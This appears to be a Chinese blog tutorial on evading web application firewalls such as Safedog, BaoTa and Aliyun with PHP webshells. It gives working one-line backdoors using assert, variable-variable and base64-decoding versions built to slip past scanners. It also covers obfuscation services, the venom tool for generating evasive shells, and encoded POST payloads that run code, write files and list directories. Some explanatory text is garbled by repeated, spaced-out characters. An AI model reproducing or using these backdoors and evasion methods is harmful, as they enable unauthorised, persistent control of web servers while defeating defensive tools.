04-waf绕过权限控制

WAF绕过-权限控制之代码混淆及行为造轮子

思维导图

img

后门工具介绍:

菜刀,蚁剑,冰蝎优缺点

菜刀:未更新状态,无插件,单向加密传输
蚁剑:更新状态,有插件,拓展性强,单向加密传输
冰蝎:更新状态,未知插件,偏向于后渗透,双向加密传输

冰蝎加密原理

单双向加密传输的区别:

双向加密传输就是发包之前已经加密了,并且从服务器传回来的数据也是加密的,这样在安全狗这些WAF检测内容的时候就狠nice。

一、Safedog-手写覆盖变量简易代码绕过-代码层**

Safedog代码层手写及脚本绕过

  • 变量覆盖,加密混淆,异或生成

在php代码中,( 美 元 符 号 ) 的 使 用 非 常 的 普 遍 , 它 用 来 表 示 一 个 自 定 义 的 变 量 , ( 例 : (美元符号)的使用非常的普遍,它用来表示一个自定义的变量,(例:(美元符号)的使用非常的普遍,它用来表示一个自定义的变量,(例:str),而有时候也会出现两个 $ 符号同时使用的情况,

php中$$符号的定义与作用例:

示例代码:

<?php
$var = 'hello word !';
$str = 'var';
echo $str;
echo $$str;
?>

输出结果:

var
hello word !

说明:
1、s t r 的 变 量 的 值 为 字 符 串 v a r 2 、 str的变量的值为字符串 var

2、str的变量的值为字符串var2、s t r 为 一 个 可 变 变 量 , str为一个可变变量,str为一个可变变量,str的值为 var 则 $$str 等同于 $var

原型后门

<?php assert($_POST['chopper'])?>

//如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行

安全狗轻而易举就查到木马

image-20230420135034725

绕过代码:使用变量覆盖.

什么是变量覆盖漏洞:

用自定义的传参数值替换原有变量值的情况称为变量覆盖漏洞

image-20230420140253325

后门代码:
<?php
 	$a=$_GET['x'];
 	$$a=$_GET['y'];
 	$b=($_POST['z']);
?>

传递值:
//?x=b&y=assert


解释:
//$a = b   先让$a=$b   $$a传入assert ->$b 变量引用  
    
//结果:$b($_POST['z']); 变为--->assert($_POST['z'])  后门代码
可以绕过safedog查杀
 
上传成功后,
访问:http://127.0.0.1:8081/1.php?x=b&y=assert
并且(可以用hackbar插件)postdata:z=phpinfo();

效果

image.png

二、Safedog,BT,Aliyun-覆盖变量 加密传输 绕过

采取上述覆盖变量的方式可以绕过安全狗查杀,但是会被宝塔拦截。

image-20230420142201897

原因是 宝塔过滤规则里定义了phpinfo()等关键字。

img

在过滤规则中看到,传递的关键子进行了过滤判断。

方法:

所以可以配套 使用编码解码方式 绕过 宝塔。

一句话木马:<br><?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>

//传递的后门中进行解码
 
//对PHPinfo();进行编码为cGhwaW5mbygpOw==
还可以采取加密传输:
上传加密后的语句,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)postdata:z=cGhwaW5mbygpOw==

img

成功:

img

三、Safedog-基于接口类加密混淆代码绕过-代码层

上传一句话木马:

<?php assert(base64_decode($_POST['chopper']));?>

木马文件被安全狗查杀

img

访问被安全狗拦截img

方法1:使用enPHP工具加密混淆代码

enPHP:一个开源加密混淆 PHP 代码项目

目标加密的代码,不要将code_test的文件移到或者删除很有可能会导致使用失败。

软件下载地址:

https://github.com/djunny/enphp

在线加密地址:

PHP加密|PHP在线加密|PHP解密|PHP代码解密|GOTO解密|PHP混淆 - EnPHP加密平台 (djunny.com)

加密混淆的脚本:
img

加密混淆后木马:img

测试:

img

方法2:phpjiami在线加密混淆

如果上面的方式被安全狗杀掉,或者过不了宝塔的话。

网址:

http://phpjiami.com/phpjiami.html

[img

木马加密前后对比:img

绕过成功

img

四、异或加密Webshell-venom绕过

venom工具:支持生成asp、aspx、jsp、php等一句话免杀木马

  • 下载:https://pan.baidu.com/s/1msqO2kps139NNP9ZEIAVHw 提取码:xiao
  • https://github.com/yzddmr6/as_webshell_venom,
  • 地址:https://gitee.com/Dyan_code/webshell-venom?_from=gitee_search

img

运行里面的脚本,然后就出来了,随机的。复制好上传就行。

python3 php_venom_3.3.py  //生成免杀一句话

python3 php_venom_3.3.py shell.php   //对同目录下shell.php进行免杀处理,结果保存在shell.php.bypass.php

img

成功,记得如果要加密需要提交id的参数,不加密则不用

这里构造语句:

127.0.0.1/test.php?id=snkad

post mg6=加密

img

五、基于冰蝎新型控制器绕过全面测试

3个工具比较:

  • 菜刀:已经不再更新了,无插件(看举例1),单向加密传输,打5分,不建议使用。

  • 蚁剑:持续更新状态,有插件,扩展性强,缺点是单向加密传输,打8分。

  • 冰蝎:持续更新状态,未知插件,扩展性强,双向加密传输,偏向于后渗透,可以联动msf.,打分9分,推荐使用。

    下载地址:

    • 冰蝎:https://github.com/rebeyond/Behinder/releases/
    • 蚁剑:https://github.com/AntSwordProject/antSword/releases

1、菜刀单向加密举例:

img

抓包分析菜刀执行操作时候的数据包,然后模拟提交,返回了正常显示的目录列表。

image-20230420144649801

2、冰蝎示例:

冰蝎双向加密传输原理:

img

冰蝎-双向加密传输-抓包查看

img

菜刀不支持加密无法绕过

img

六、基于手写新型控制器绕过全面测试

使用工具连接木马时,waf可能会通过工具的指纹实现拦截,此时我们可以采用如下方法绕过:

1、指纹变异、2、自己造轮子

自己写脚本模拟工具:

http://test.xxx.com/xx.php?x=b&y=assert
post data举例:
执行代码 z=phpinfo(); -->  z=cGhwaW5mbygpOw==

写入文件 z=file_put_contents("test.txt","1"); -->  z=ZmlsZV9wdXRfY29udGVudHMoInRlc3QudHh0IiwiMSIpOw==


读取文件 z=var_dump(scandir(".")); -->  z=dmFyX2R1bXAoc2NhbmRpcigiLiIpKTs=## 

读取:

img

写入文件img

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿凯6666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值